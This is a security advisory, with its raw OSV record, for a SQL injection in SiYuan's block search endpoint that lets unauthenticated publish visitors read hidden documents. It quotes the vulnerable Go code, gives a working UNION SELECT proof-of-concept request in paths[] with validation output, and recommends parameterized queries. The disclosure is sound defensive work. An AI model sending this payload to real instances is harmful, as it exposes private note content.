GHSA-H89Q-4J2H-7H88高危已审查

SiYuan: SQL Query in Block Search Exposes Hidden Published Document Content

OSV 1.4.0 · github-reviewed · 修改于 2026-09-02 22:16

发布时间

2026-09-02 22:16

GitHub 审查时间

2026-09-02 22:16

NVD 发布时间

2026-07-10 07:17

源文件

advisories/github-reviewed/2026/09/GHSA-h89q-4j2h-7h88/GHSA-h89q-4j2h-7h88.json

公告说明

Summary

Siyuan's block search endpoint concatenates attacker-controlled paths[] values into SQL predicates used by non-SQL search modes. Through Siyuan's publish service, an unauthenticated visitor is forwarded to the kernel with a reader-role token and can reach POST /api/search/fullTextSearchBlock.

An attacker can inject a UNION SELECT through paths[] and return rows from hidden documents while projecting an allowed visible box and path. The post-query publish access filter trusts the projected box and path, so the injected hidden row is returned to the publish visitor.

Affected Code

The API blocks explicit SQL search mode for non-admin users, but allows other search methods to use caller-controlled paths:

if method == 2 && !model.IsAdminRoleContext(c) {
    ret.Code = -1
    ret.Msg = "SQL search requires administrator privileges"
    return
}

blocks, matchedBlockCount, matchedRootCount, pageCount, docMode := model.FullTextSearchBlock(query, boxes, paths, types, method, orderBy, groupBy, page, pageSize)
if model.IsReadOnlyRoleContext(c) {
    publishAccess := model.GetPublishAccess()
    blocks = model.FilterBlocksByPublishAccess(c, publishAccess, blocks)
}

Source: input/siyuan/kernel/api/search.go

paths[] is parsed into notebook IDs and paths without SQL escaping or validation:

path := p.(string)
box := strings.TrimSpace(strings.Split(path, "/")[0])
if "" != box {
    boxes = append(boxes, box)
}
path = strings.TrimSpace(strings.TrimPrefix(path, box))
if "" != path {
    paths = append(paths, path)
}

Source: input/siyuan/kernel/api/search.go

Those values are then concatenated directly into SQL:

builder.WriteString(fmt.Sprintf("box = '%s'", box))

builder.WriteString(fmt.Sprintf("path LIKE '%s%%'", path))

Source: input/siyuan/kernel/model/search.go

Regexp search executes the resulting statement:

stmt := "SELECT * FROM `blocks` WHERE " + fieldFilter + " AND type IN " + typeFilter
stmt += boxFilter + pathFilter + ignoreFilter + " " + orderBy
blocks := sql.SelectBlocksRegex(stmt, regex, Conf.Search.Name, Conf.Search.Alias, Conf.Search.Memo, Conf.Search.IAL, page, pageSize)

Source: input/siyuan/kernel/model/search.go

The read-only publish filter runs after SQL execution and trusts the returned row's Box and Path:

for _, block := range blocks {
    passwordID, password := GetPathPasswordByPublishAccess(block.Box, block.Path, publishAccess)
    if CheckPathAccessableByPublishIgnore(block.Box, block.Path, publishIgnore) && (c == nil || password == "" || CheckPublishAuthCookie(c, passwordID, password)) {
        ret = append(ret, block)
    }
}

Source: input/siyuan/kernel/model/publish_access.go

A Siyuan instance enables the publish service.
At least one document is visible to publish visitors.
At least one document is hidden from publish visitors.
The attacker sends a crafted paths[] value to the publish service's /api/search/fullTextSearchBlock endpoint.
The injected SQL selects content from the hidden document while projecting the visible document's box and path.
Siyuan returns the hidden block because the post-query publish filter checks the projected visible path.

POST /api/search/fullTextSearchBlock HTTP/1.1
Host: <publish-service-host>
Content-Type: application/json

{
  "query": "SECRET-LIVE-SQLI-20260609",
  "method": 3,
  "page": 1,
  "pageSize": 10,
  "paths": [
    "VISIBLE_NOTEBOOK_ID/x%') UNION SELECT id,parent_id,root_id,hash,'VISIBLE_NOTEBOOK_ID','/VISIBLE_DOC.sy',hpath,name,alias,memo,tag,content,fcontent,markdown,length,type,subtype,ial,sort,created,updated FROM blocks WHERE path='/HIDDEN_DOC.sy' -- "
  ]
}

VISIBLE_NOTEBOOK_ID and /VISIBLE_DOC.sy must reference content that the publish visitor can access. /HIDDEN_DOC.sy is the hidden document to read.

Started b3log/siyuan:latest with an isolated temporary workspace.
Created one notebook.
Created a visible document containing public apple marker.
Created a hidden document containing SECRET-LIVE-SQLI-20260609 apple marker.
Marked the hidden document invisible with POST /api/filetree/setPublishAccess.
Enabled publish mode with POST /api/setting/setPublish.
Sent all exploit traffic through the publish service, which forwards requests with a reader-role token.

Control request through the publish service for the hidden marker returned no blocks:

{
  "code": 0,
  "msg": "",
  "data": {
    "blocks": [],
    "docMode": false,
    "matchedBlockCount": 1,
    "matchedRootCount": 1,
    "pageCount": 1
  }
}

The injected request through the publish service returned the hidden block:

{
  "code": 0,
  "msg": "",
  "data": {
    "blocks": [
      {
        "box": "20260609095146-19hud1e",
        "path": "/20260609095209-1ljs6o7.sy",
        "hPath": "/HiddenDoc",
        "id": "20260609095209-gttlrue",
        "rootID": "20260609095209-yaz7i3h",
        "parentID": "20260609095209-yaz7i3h",
        "content": "<mark>SECRET-LIVE-SQLI-20260609</mark> apple marker",
        "markdown": "SECRET-LIVE-SQLI-20260609 apple marker",
        "type": "NodeParagraph"
      }
    ],
    "docMode": false,
    "matchedBlockCount": 0,
    "matchedRootCount": 0,
    "pageCount": 0
  }
}

The returned row contains content from the hidden document, but its projected box and path point to the visible document. That is why the publish access filter accepts it.

An unauthenticated publish visitor can read hidden document block content from the blocks table. This bypasses Siyuan's publish visibility controls and exposes private note content that is not available through normal published document or search requests.

Build notebook and path predicates with bound SQL parameters instead of string concatenation. For example:

box = ?
path LIKE ?

Then pass the user-controlled notebook ID and path prefix as query arguments.

Additional hardening:

Validate notebook IDs before query construction.
Validate document paths against Siyuan's normalized .sy path format.
Apply publish visibility restrictions before or inside SQL execution, rather than relying only on post-query filtering of returned row projections.
Add regression tests for publish reader-role requests where paths[] contains SQL metacharacters such as ', ), UNION, and --.

受影响的软件包

github.com/siyuan-note/siyuan/kernel

ECOSYSTEM

引入0修复0.0.0-20260704035518-d0f0fe146fb0

标识信息

别名 / CVE

CVE-2026-59834

CWE

CWE-89

软件生态

扩展资料

暂无扩展资料。

CVSS 评分

CVSS_V3

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

原始 OSV JSON

{
  "id": "GHSA-h89q-4j2h-7h88",
  "aliases": [
    "CVE-2026-59834"
  ],
  "details": "## Summary\n\nSiyuan's block search endpoint concatenates attacker-controlled `paths[]` values into SQL predicates used by non-SQL search modes. Through Siyuan's publish service, an unauthenticated visitor is forwarded to the kernel with a reader-role token and can reach `POST /api/search/fullTextSearchBlock`.\n\nAn attacker can inject a `UNION SELECT` through `paths[]` and return rows from hidden documents while projecting an allowed visible `box` and `path`. The post-query publish access filter trusts the projected `box` and `path`, so the injected hidden row is returned to the publish visitor.\n\n## Affected Code\n\nThe API blocks explicit SQL search mode for non-admin users, but allows other search methods to use caller-controlled paths:\n\n```go\nif method == 2 && !model.IsAdminRoleContext(c) {\n    ret.Code = -1\n    ret.Msg = \"SQL search requires administrator privileges\"\n    return\n}\n\nblocks, matchedBlockCount, matchedRootCount, pageCount, docMode := model.FullTextSearchBlock(query, boxes, paths, types, method, orderBy, groupBy, page, pageSize)\nif model.IsReadOnlyRoleContext(c) {\n    publishAccess := model.GetPublishAccess()\n    blocks = model.FilterBlocksByPublishAccess(c, publishAccess, blocks)\n}\n```\n\nSource: `input/siyuan/kernel/api/search.go`\n\n`paths[]` is parsed into notebook IDs and paths without SQL escaping or validation:\n\n```go\npath := p.(string)\nbox := strings.TrimSpace(strings.Split(path, \"/\")[0])\nif \"\" != box {\n    boxes = append(boxes, box)\n}\npath = strings.TrimSpace(strings.TrimPrefix(path, box))\nif \"\" != path {\n    paths = append(paths, path)\n}\n```\n\nSource: `input/siyuan/kernel/api/search.go`\n\nThose values are then concatenated directly into SQL:\n\n```go\nbuilder.WriteString(fmt.Sprintf(\"box = '%s'\", box))\n```\n\n```go\nbuilder.WriteString(fmt.Sprintf(\"path LIKE '%s%%'\", path))\n```\n\nSource: `input/siyuan/kernel/model/search.go`\n\nRegexp search executes the resulting statement:\n\n```go\nstmt := \"SELECT * FROM `blocks` WHERE \" + fieldFilter + \" AND type IN \" + typeFilter\nstmt += boxFilter + pathFilter + ignoreFilter + \" \" + orderBy\nblocks := sql.SelectBlocksRegex(stmt, regex, Conf.Search.Name, Conf.Search.Alias, Conf.Search.Memo, Conf.Search.IAL, page, pageSize)\n```\n\nSource: `input/siyuan/kernel/model/search.go`\n\nThe read-only publish filter runs after SQL execution and trusts the returned row's `Box` and `Path`:\n\n```go\nfor _, block := range blocks {\n    passwordID, password := GetPathPasswordByPublishAccess(block.Box, block.Path, publishAccess)\n    if CheckPathAccessableByPublishIgnore(block.Box, block.Path, publishIgnore) && (c == nil || password == \"\" || CheckPublishAuthCookie(c, passwordID, password)) {\n        ret = append(ret, block)\n    }\n}\n```\n\nSource: `input/siyuan/kernel/model/publish_access.go`\n\n## Attack Scenario\n\n1. A Siyuan instance enables the publish service.\n2. At least one document is visible to publish visitors.\n3. At least one document is hidden from publish visitors.\n4. The attacker sends a crafted `paths[]` value to the publish service's `/api/search/fullTextSearchBlock` endpoint.\n5. The injected SQL selects content from the hidden document while projecting the visible document's `box` and `path`.\n6. Siyuan returns the hidden block because the post-query publish filter checks the projected visible path.\n\n## Proof of Concept\n\n```http\nPOST /api/search/fullTextSearchBlock HTTP/1.1\nHost: <publish-service-host>\nContent-Type: application/json\n\n{\n  \"query\": \"SECRET-LIVE-SQLI-20260609\",\n  \"method\": 3,\n  \"page\": 1,\n  \"pageSize\": 10,\n  \"paths\": [\n    \"VISIBLE_NOTEBOOK_ID/x%') UNION SELECT id,parent_id,root_id,hash,'VISIBLE_NOTEBOOK_ID','/VISIBLE_DOC.sy',hpath,name,alias,memo,tag,content,fcontent,markdown,length,type,subtype,ial,sort,created,updated FROM blocks WHERE path='/HIDDEN_DOC.sy' -- \"\n  ]\n}\n```\n\n`VISIBLE_NOTEBOOK_ID` and `/VISIBLE_DOC.sy` must reference content that the publish visitor can access. `/HIDDEN_DOC.sy` is the hidden document to read.\n\n## Validation\n\nSetup:\n\n- Started `b3log/siyuan:latest` with an isolated temporary workspace.\n- Created one notebook.\n- Created a visible document containing `public apple marker`.\n- Created a hidden document containing `SECRET-LIVE-SQLI-20260609 apple marker`.\n- Marked the hidden document invisible with `POST /api/filetree/setPublishAccess`.\n- Enabled publish mode with `POST /api/setting/setPublish`.\n- Sent all exploit traffic through the publish service, which forwards requests with a reader-role token.\n\nControl request through the publish service for the hidden marker returned no blocks:\n\n```json\n{\n  \"code\": 0,\n  \"msg\": \"\",\n  \"data\": {\n    \"blocks\": [],\n    \"docMode\": false,\n    \"matchedBlockCount\": 1,\n    \"matchedRootCount\": 1,\n    \"pageCount\": 1\n  }\n}\n```\n\nThe injected request through the publish service returned the hidden block:\n\n```json\n{\n  \"code\": 0,\n  \"msg\": \"\",\n  \"data\": {\n    \"blocks\": [\n      {\n        \"box\": \"20260609095146-19hud1e\",\n        \"path\": \"/20260609095209-1ljs6o7.sy\",\n        \"hPath\": \"/HiddenDoc\",\n        \"id\": \"20260609095209-gttlrue\",\n        \"rootID\": \"20260609095209-yaz7i3h\",\n        \"parentID\": \"20260609095209-yaz7i3h\",\n        \"content\": \"<mark>SECRET-LIVE-SQLI-20260609</mark> apple marker\",\n        \"markdown\": \"SECRET-LIVE-SQLI-20260609 apple marker\",\n        \"type\": \"NodeParagraph\"\n      }\n    ],\n    \"docMode\": false,\n    \"matchedBlockCount\": 0,\n    \"matchedRootCount\": 0,\n    \"pageCount\": 0\n  }\n}\n```\n\nThe returned row contains content from the hidden document, but its projected `box` and `path` point to the visible document. That is why the publish access filter accepts it.\n\n## Impact\n\nAn unauthenticated publish visitor can read hidden document block content from the `blocks` table. This bypasses Siyuan's publish visibility controls and exposes private note content that is not available through normal published document or search requests.\n\n\n## Remediation\n\nBuild notebook and path predicates with bound SQL parameters instead of string concatenation. For example:\n\n```sql\nbox = ?\npath LIKE ?\n```\n\nThen pass the user-controlled notebook ID and path prefix as query arguments.\n\nAdditional hardening:\n\n- Validate notebook IDs before query construction.\n- Validate document paths against Siyuan's normalized `.sy` path format.\n- Apply publish visibility restrictions before or inside SQL execution, rather than relying only on post-query filtering of returned row projections.\n- Add regression tests for publish reader-role requests where `paths[]` contains SQL metacharacters such as `'`, `)`, `UNION`, and `--`.",
  "summary": "SiYuan: SQL Query in Block Search Exposes Hidden Published Document Content",
  "affected": [
    {
      "ranges": [
        {
          "type": "ECOSYSTEM",
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260704035518-d0f0fe146fb0"
            }
          ]
        }
      ],
      "package": {
        "name": "github.com/siyuan-note/siyuan/kernel",
        "ecosystem": "Go"
      }
    }
  ],
  "modified": "2026-09-02T14:16:08Z",
  "severity": [
    {
      "type": "CVSS_V3",
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
    }
  ],
  "published": "2026-09-02T14:16:08Z",
  "references": [
    {
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-h89q-4j2h-7h88",
      "type": "WEB"
    },
    {
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59834",
      "type": "ADVISORY"
    },
    {
      "url": "https://github.com/siyuan-note/siyuan/commit/57bcad4b331836880bfe6be25d4180bdcf10db0d",
      "type": "WEB"
    },
    {
      "url": "https://github.com/siyuan-note/siyuan/commit/d0f0fe146fb07d594fcadc4f48d4f7c30ac01d1e",
      "type": "WEB"
    },
    {
      "url": "https://github.com/siyuan-note/siyuan",
      "type": "PACKAGE"
    },
    {
      "url": "https://github.com/siyuan-note/siyuan/releases/tag/v3.7.1",
      "type": "WEB"
    }
  ],
  "schema_version": "1.4.0",
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "severity": "HIGH",
    "github_reviewed": true,
    "nvd_published_at": "2026-07-09T23:17:05Z",
    "github_reviewed_at": "2026-09-02T14:16:08Z"
  }
}